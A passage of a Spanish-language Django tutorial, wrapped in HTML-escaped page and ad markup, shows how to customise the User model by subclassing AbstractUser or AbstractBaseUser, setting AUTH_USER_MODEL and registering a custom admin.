0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Pero, antes de empezar, veamos de donde viene el modelo User de Django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;de-donde-viene-el-modelo-user-de-django&#34;&gt;¿De donde viene el modelo User de Django?&lt;/h2&gt;&#xA;&lt;p&gt;El modelo &lt;em&gt;User&lt;/em&gt; de Django hereda de &lt;em&gt;AbstractUser&lt;/em&gt; que, a su vez, hereda de la clase &lt;em&gt;AbstractBaseUser&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/DeDondeVieneAbstractUser.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/DeDondeVieneAbstractUser.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de las clases padre del modelo User de Django. AbstractBaseUser, AbstractUser y User&#34; width=&#34;1000&#34; height=&#34;1000&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si miras el código fuente de Django, verás que el &lt;strong&gt;modelo &lt;em&gt;User&lt;/em&gt; que usas normalmente no tiene prácticamente ninguna funcionalidad propia&lt;/strong&gt;, sino que hereda toda su funcionalidad de &lt;em&gt;AbstractUser&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/UserDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/UserDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla del código del modelo User de Django&#34; width=&#34;985&#34; height=&#34;201&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Captura de pantalla del código de Django version 4.0&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ya que sabemos lo anterior, &lt;strong&gt;podemos usar las clases AbstractUser y AbstractBaseUser para crear nuestros modelos de Usuario personalizados.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;modifica-el-django-user-modal-heredando-de-la-subclase-abstractuser&#34;&gt;Modifica el Django User modal heredando de la subclase AbstractUser&lt;/h2&gt;&#xA;&lt;p&gt;Este método es probablemente el más popular para extender el modelo &lt;em&gt;User&lt;/em&gt; de Django. Lo anterior debido a que se conserva prácticamente toda la funcionalidad del modelo &lt;em&gt;User&lt;/em&gt; original.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# usuarios/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; AbstractUser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;UsuarioPersonalizado&lt;/span&gt;(AbstractUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Tus propiedades personalizadas&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    creditos &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveIntegerField(verbose_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;creditos&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        default&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Tras crear una clase nueva que herede de &lt;em&gt;AbstractUser&lt;/em&gt;, necesitamos decirle a Django que queremos usar este nuevo modelo en lugar del modelo de usuario por defecto.&lt;/p&gt;&#xA;&lt;p&gt;Establecemos este comportamiento en nuestro archivo de configuraciones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AUTH_USER_MODEL &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;usuarios.UsuarioPersonalizado&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;usar-el-modelo-personalizado-en-las-vistas-de-cuentas-de-django&#34;&gt;Usar el modelo personalizado en las vistas de cuentas de Django&lt;/h3&gt;&#xA;&lt;p&gt;Si deseamos usar el sistema de plantillas de Django para generar automáticamente un formulario de registro, necesitaremos decirle a Django que use el nuevo modelo de usuario, para esto heredamos un nuevo formulario de la clase &lt;em&gt;UserCreationForm&lt;/em&gt;, y le pasamos nuestro modelo personalizado, el cual podemos con el método &lt;em&gt;get_user_model&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_user_model&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.forms &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; UserCreationForm&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_user_model()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;FormularioRegistroUsuarioPersonalizado&lt;/span&gt;(UserCreationForm):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; User&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;username&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Y es todo, podemos usarlo exactamente igual que si usaramos el modelo &lt;em&gt;User&lt;/em&gt; que incluye Django.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-django-admin-no-hashea-los-passwords&#34;&gt;El django admin no hashea los passwords&lt;/h3&gt;&#xA;&lt;p&gt;Cuando usamos un modelo de usuario personalizado, necesitamos decirle a Django que maneje los passwords con la funcionalidad del usuario por defecto&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.admin &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; UserAdmin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_user_model&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_user_model()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CustomUserAdmin&lt;/span&gt;(UserAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(user, CustomUserAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora el panel de administración se comportará exactamente igual que lo haría con el usuario predeterminado de Django.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-luce-internamente-abstractuser&#34;&gt;¿Cómo luce internamente AbstractUser?&lt;/h3&gt;&#xA;&lt;p&gt;Observa como la clase &lt;em&gt;AbstractUser&lt;/em&gt; hereda de _AbstractBaseUse_r y tiene múltiples campos disponibles para perfilar un usuario. Además, no puede instanciarse directamente, por ser una clase abstracta.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/AbstractUserDjango-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/AbstractUserDjango-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Código fuente de la clase AbstractUser  de Django&#34; width=&#34;1079&#34; height=&#34;911&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Captura de pantalla del código de AbstractUser de Django version 4.0&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Pasemos al segundo método.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-cambiar-el-campo-de-usuario-para-autenticarse&#34;&gt;¿Cómo cambiar el campo de usuario para autenticarse?&lt;/h3&gt;&#xA;&lt;p&gt;Si observas el código anterior, hay una propiedad en mayúsculas llamada &lt;em&gt;USERNAME_FIELD&lt;/em&gt;, ahí puedes especificar otro campo para que funcione como el usuario.&#xA;Como no quieres que haya dos usuarios que se identifiquen de la misma manera ese campo tiene que ser marcado como único. Además de eso tienes que modificar el object manager, el código es algo extenso por lo que no lo colocaré aquí&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;UsuarioPersonalizado&lt;/span&gt;(AbstractUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    identificador &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;40&lt;/span&gt;, unique&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    USERNAME_FIELD &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;identificador&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;modifica-el-django-user-model-heredando-de-la-subclase-abstractbaseuser&#34;&gt;Modifica el Django user model heredando de la subclase AbstractBaseUser&lt;/h2&gt;&#xA;&lt;p&gt;Esta clase, como puedes apreciar en la imagen anterior, es la clase que se usa de base para crear el &lt;em&gt;AbstractUser&lt;/em&gt;. Su funcionamiento es el mínimo y solo posee 3 campos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;password&lt;/li&gt;&#xA;&lt;li&gt;last_login&lt;/li&gt;&#xA;&lt;li&gt;is_active&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Solo cuenta con la función de autenticación. Y tienes que indicarle que campo se usará como &lt;em&gt;username&lt;/em&gt;, para autenticar al usuario.&lt;/p&gt;&#xA;&lt;p&gt;Este método se suele usar para personalizar completamente el modelo user o cuando no necesitamos prácticamente ningún campo extra.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# usuarios/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.base_user &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; AbstractBaseUser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;UsuarioPersonalizado&lt;/span&gt;(AbstractBaseUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;EmailField(verbose_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;emails&amp;#39;&lt;/span&gt;, unique&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    creditos &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveIntegerField(verbose_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;creditos&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        default&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    USERNAME_FIELD&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    REQUIRED_FIELDS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda indicarle a Django que use tu modelo personalizado en lugar del predeterminado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AUTH_USER_MODEL &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;usuarios.UsuarioPersonalizado&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;como-luce-internamente-abstractbaseuser&#34;&gt;¿Cómo luce internamente AbstractBaseUser?&lt;/h3&gt;&#xA;&lt;p&gt;La siguiente imagen es una captura de pantalla directo del código de Django en su versión 4.0&lt;/p&gt;&#xA;&lt;p&gt;Como puedes ver, solo cuenta con los 3 campos mencionados, hereda directamente de &lt;em&gt;models.Model&lt;/em&gt; y su clase Meta le indica a Python que es un modelo abstracto; no puedes crear instancias directamente de este.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/AbstractBaseUserDjango-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/AbstractBaseUserDjango-1.png&#34;&#xA;    